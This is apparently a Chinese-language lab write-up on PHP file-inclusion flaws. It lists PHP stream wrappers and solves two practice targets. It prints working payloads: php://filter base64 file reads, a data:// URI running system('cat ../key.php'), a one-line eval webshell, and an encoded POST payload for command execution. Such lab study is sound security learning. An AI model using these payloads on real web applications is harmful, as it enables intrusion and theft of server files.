文件包含漏洞利用的前提:
web 應用采用 include 等文件包含函數,並且需要包含的文件路徑是通過用戶傳輸參數的方式引入;
用戶能夠控制包含文件的參數,被包含的文件可被當前頁面訪問。
偽協議文件包含:
- file:// 訪問本地文件系統
- http(s):// 訪問 HTTPs 網址
- ftp:// 訪問 ftp URL
- php:// 訪問輸入/輸出流
- Zlib:// 壓縮流
- Data:// 數據
- Ssh2:// security shell2
- Expect:// 處理交互式的流
- Glob:// 查找匹配的文件路徑
- phar:// PHP歸檔
- rar:// RAR
- ogg:// 音頻流
常用偽協議講解:
1. file://
(1)這個協議可以展現本地文件系統,默認目錄是當前的工作目錄。
(2)例如:file:///etc/passwd、file://key.txt
2. php://
(1) php://input是個可以訪問請求的原始數據的只讀流,可以訪問請求的原始數據的只讀流,將post請求中的數據作為php代碼執行。
(2) php://filter是一種元封裝器,設計用於數據流打開時的篩選過濾應用。
3、phar://
(1)phar://數據流包裝器自PHP5.3.0起開始有效
(2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txt
phar://1.zip/phpinfo.txt
偽協議利用方式小總結:
靶場一:
文件包含在這個靶場里主要考察偽協議:想了解更多的自行問度娘,這里只說解題思路。
構造payload
http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php或者
http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php
解密即可拿到key。
還有date協議在這里也可以用:
data:text/plain,<?php system(whoami)?>
構造payload:
http://192.168.43.99:8083/vulnerabilities/fu1.php?file=data:text/plain,%3C?php%20system(%27cat%20../key.php%27)?%3E
靶場二:
查看view.html源碼可知是里面的參數
W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=解密為
[@eval(base64_decode($_POST[z0]));]一個一句話木馬
有兩種解題的思路:一種直接連接這個一句話木馬,只能用Cknife,還有一種直接傳參讀文件。
解法一:
修改config.ini文件為:
ACTION=z0PHP_MAKE=http://192.168.43.72:83/start/index.php?file=view.html
密碼Hello=0
解法二:
首先把這串字符串通過base64解碼可得[@eval(base64_decode($_POST[z0]));]
發現POST參數decode后用eval函數執行,所以構造payload:Hello=123&z0=system('cat ../key.php');
再進行base64加密最后:Hello=123&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
獲取key:
至此文件包含的兩套靶場就成功拿下來,確實學到了很多知識。